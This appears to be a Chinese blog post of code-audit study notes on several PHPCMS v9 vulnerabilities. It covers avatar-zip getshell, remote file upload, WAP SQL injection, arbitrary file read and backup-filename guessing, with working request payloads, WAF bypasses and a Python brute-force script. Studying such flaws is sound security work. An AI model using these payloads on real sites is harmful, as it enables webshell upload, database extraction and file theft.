学习代码审计,自己简单记录一下。如有错误望师傅斧正。

PHPCMS预备知识

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称 描述 位置 备注
m 模型/模块名称 phpcms/modules中模块目录名称 必须
c 控制器名称 phpcms/modules/模块/*.php 文件名称 必须
a 事件名称 phpcms/modules/模块/*.php 中方法名称

PHPCMSV9.2上传Getshell

漏洞复现

我们搭建好环境直接注册,找到修改头像。

)

我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。

访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我们的uid

漏洞分析

重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。

然后去代码找到函数直接断点调试

根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。

根据uid重命名我们的压缩包文件

压缩包的文件就是我们上传的压缩包文件

之后进行解压缩文件

之后进入dir中循环判断文件安全,删除压缩包和非jpg图片

走到遍历白名单判断文件,排除.(当前目录)..(上级目录)下图删除了压缩包文件

再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。

所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下

漏洞修复

不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。

PHPCMSV9.6.0任意文件上传漏洞

漏洞复现

先注册然后抓包

其中要准备一个远程的服务器下的恶意代码

准备我们的POC如下

siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

然后修改放包会报一个错误,会返回我们的URL路径

漏洞分析

我们直接找到刚刚我们的包,他是在index.php进入member模块中的index文件里面有一个register函数

我们现在打开我们的代码定位函数,路径如下

为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析

前面就是一堆信息的验证作用不大,我们继续跟踪到130行

if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重点 }

在这里我们看见$_POST['info']使用了member_input类中的get方法我们跟踪进去。

走到47行获取了datatime函数,this->fields是一个动态函数对应的一张表根据modelid来确定的formytpe。如下图

【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】

我那们跟进去datatime函数 就是做了一校验然后又返回给$value

然后就是插入两次数据库,一个插入v9_member表一个生日日期和用户id插入到v9_member_detail表中,至此正常流程走完。

接下来我们分析一下POC流程

值得注意的是我们必须保证username email是唯一

然后我们继续定位到130行,发现content是我们的内容

经过new_html_special_chars就是防止XSS 所以实体化

于是我们变成了下面这样子。继续跟踪get方法同上

这里我们获取的是editor函数。

在这个函数中我们有一个download方法

我们跟踪download方法,发现以下关键代码

$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg的原因)

到155行这里他把我们的$string值复制给了$matches

$matches [3]刚好是我们的链接,所以真的很巧妙

接着我们跟踪fillurl方法,里面有一串关键代码如下

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#,然后使用substr处理?.php#.jpg,处理完之后$surl =?.php继续执行,可以发现返回的url去掉了#后面的内容

然后获取后缀名。然后通过getname方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。

此时进行了copy函数对远程文件下载

这里的$this->upload_func是copy函数的原因,是因为初始化时赋给的

此时我们的文件已经到我们的本地了

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register 函数中:

继续跟进$this->db->insert($user_model_info); 发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错

Message : Unknown column 'content' in 'field list'

漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}

PHPCMSV9.6.0 WAP模块 SQL注入分析

漏洞复现

首先第一步访问

/index.php?m=wap&c=index&siteid=1

把得到的set-cookie 记录下来

第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

并且传参userid_flash其中的值就是第一步我们得到的set-cookie

userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

把加密的json值记录下来

第三步以POST的方式访问

/index.php?m=content&c=down&a_k=第二步得到的Json值

漏洞分析

其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么

/index.php?m=content&c=down&a_k=第二步得到的Json值

我们定位到content模块down文件中发现并没有a_k方法

说明是自动执行的那就是init()__construct()

__construct()基本没东西,我们直接下断init

走到14行看到sys_auth然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能

经过sys_auth解密得到

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

走到17行发现一个系统函数parse_str 这个函数用不好容易出现变量覆盖。可以自己查一下

我们知道用法了就是把$id给弄出来

然后直接到26行跟踪get_one函数,发现后面就直接执行语句了。

肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道

所以我们需要知道谁调用了这个函数

我们回到第二步的POC

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&

userid_flash=Set-Cookie

我们找到attachment模块下的attachments文件中的swfupload_json函数

src时有一个safe_replace函数我们跟进

发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf

继续到set_cookie我们跟进去发现set_cookie调用了sys_auth这个函数并且进行了ENCODE刚好我们又可以再前台看见

至于我们为什么要传入一个POST值,是在__construct中如果没有这个userid他会showmessage

userid是17行的关键代码。我们肯定没有userid嘛所以三元表达式到第三个,他进行解密一次并且userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

现在POST值是怎么拿到的呢,回到第一步,访问的URL

/index.php?m=wap&c=index&siteid=1

我们周到wap下的index下的siteidsiteid直接就在__construct函数里面,于是经过一次set_cookie加密

我们现在来顺利一下整个过程

修复建议

把$a_k过滤一次,把$id用intval过滤一次

PHPCMS9.6.1任意文件读取

漏洞复现

步骤同上一个漏洞所以就不截图了

第一步访问把得到的set-cookie 记录下来

/index.php?m=wap&c=index&siteid=1

第二步访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp

同样POST传递值

userid_flash=第一步获取的Set-cookie

第三部访问

/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie

就可以下载我们要下载的文件

漏洞分析

我们还是和wap_SQL注入那样逆向分析一下

/index.php?m=content&c=down&a=init&a_k=set-cookie

经过解密之后

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}

经过safe_replace处理之后

&quotaid&quot:1,&quotsrc&quot:&quotpad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp&quot,&quotfilename&quot:&quot&quot

但是我们关键的是&s和&f没有任何变化

再经过parse_str处理我们的url会被解码一次

$f现在就是.p%3cphp

然后downurl发生变化我们点击下载到download函数

经过一次解密再经过parse_str转码%3c=> <

走到118行因为传递的m=1经过$fileurl把他拼接起来变成

.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl);  //118行代码

然后走到125行进行随机名称生成,126行他又把$fileurl的<给去掉了

$filename = date('Ymd_his').random(3).'.'.$ext;      //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126

然后就进行一个原始下载。

第二部分和第一部分参考上面wap_sql注入,原理一样。我们现在梳理一下这个漏洞。

从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以

$fileurl是通过$s来的和$f来的。而$f和$s是通过构造$a_k来的,其中就DECODE 了两次

所以要通过siteid=1来进行ENCODE一次。我们为什么要传一个userid_flash

因为attachments下的析构函数中的userid不能为空

而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下传入的userid_flash使得userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

又经过set_cookie('att_json',$json_str);然后又返回到前台set-cookie

最终通过以下方法进行了下载

index.php?m=content&c=down&a=init&a_k=set-cookie

漏洞修复

官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的

%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等

PHPCMSV9暴力猜解数据库

备份路径 \caches\bakup\default\xxxx.sql

而问题出现在哪,我们先看POC。

poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

原因:

windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

pwaaov0zodprrm5371pe_db_20210715_1.sql

file_exists --- opendir -- FindFirstFile -- << 通配符

file_exists - << 通配符

333xxxx.sql

3<<.sql

file_exists(3<<.sql)

因为返回的只不同所以我们可以逐个猜解

附上斗鱼Sec脚本

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue elif len(arr) == 20:
arr.append('_db_') elif len(arr) == 29:
arr.append('_1.sql')
break if len(arr) < 1:
print '[*]not find!'
return print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr)) if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)

PHPCMSV9版本代码审计学习的更多相关文章

  1. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  2. blfs(systemd版本)学习笔记-构建gnome桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+gnome(桌面组件) 链接: lfs(systemd版本)学习笔记系列:http ...

  3. lfs(systemd版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...

  4. lfs(systemd版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记-第3页 的地址:https://www.cnblogs.com/renren-study- ...

  5. blfs(systemd版本)学习笔记-总页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记:https://www.cnblogs.com/renren-study-notes/p/ ...

  6. lfs(systemd版本)学习笔记-第1页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 一名linux爱好者,记录构建Linux From Scratch的过程 经博客园-骏马金龙前辈介绍,开始接触学习lfs,用博客 ...

  7. lfs(systemd版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  8. blfs(systemv版本)学习笔记-制作一个简单的桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+i3-wm(窗口+桌面)+lightdm(显示管理器+登录管理器) 链接: lfs ...

  9. lfs(systemv版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记第3页:https://www.cnblogs.com/renren-study-notes ...

随机推荐

  1. 有关RootViewController设置的问题和Unbalanced calls to begin/end appearance transitions for <CYLTabbarController>

    问题 今天做项目时遇到了一个问题,我想做一个登陆页面,在用户输入了登录名和密码后跳转到app主界面,最开始用的是在方法中新建一个appdelegate对象,再将其中的window属性设置Tabbar为 ...

  2. 火币HBAI量化币圈唯一免费量化炒币机器人

    量化交易是一种投资方法.以先进的数学模型替代人为的主观判断,利用计算机技术从庞大的历史数据中海选能带来超额收益的多种"大概率"事件以制定策略,极大地减少了投资者情绪波动的影响,避免 ...

  3. Spring Cloud Alibaba系列之分布式服务组件Dubbo

    本博客的例子代码可以在github找到下载链接:代码下载 SpringBoot.SpringCloud Alibaba系列博客专栏:链接 1.分布式理论 1.1.分布式基本定义 <分布式系统原理 ...

  4. GO学习-(12) Go语言基础之函数

    Go语言基础之函数 函数是组织好的.可重复使用的.用于执行指定任务的代码块.本文介绍了Go语言中函数的相关内容. 函数 Go语言中支持函数.匿名函数和闭包,并且函数在Go语言中属于"一等公民 ...

  5. Go string 详解

    前言 字符串(string) 作为 go 语言的基本数据类型,在开发中必不可少,我们务必深入学习一下,做到一清二楚. 本文假设读者已经知道切片(slice)的使用,如不了解,可阅读 Go 切片 基本知 ...

  6. 深度学习编译与优化Deep Learning Compiler and Optimizer

    深度学习编译与优化Deep Learning Compiler and Optimizer

  7. 给手绘图着色(添加颜色或色彩):CVPR2020论文点评

    给手绘图着色(添加颜色或色彩):CVPR2020论文点评 Learning to Shade Hand-drawn Sketches 论文链接:https://arxiv.org/pdf/2002.1 ...

  8. cuDNN概述

    cuDNN概述 NVIDIACUDA深度神经网络库(cuDNN)是GPU加速的用于深度神经网络的原语库.cuDNN为标准例程提供了高度优化的实现,例如向前和向后卷积,池化,规范化和激活层. 全球的深度 ...

  9. 用TensorRT针对AArch64用户的交叉编译示例

    用TensorRT针对AArch64用户的交叉编译示例 以下介绍如何在x86_64linux下为AArch64 QNX和Linux平台交叉编译TensorRT示例. 2.1. Prerequisite ...

  10. TinyML设备设计的Arm内核

    TinyML设备设计的Arm内核 Arm cores designed for TinyML devices Arm推出了两个新的IP核,旨在为终端设备.物联网设备和其低功耗.成本敏感的应用程序提供机 ...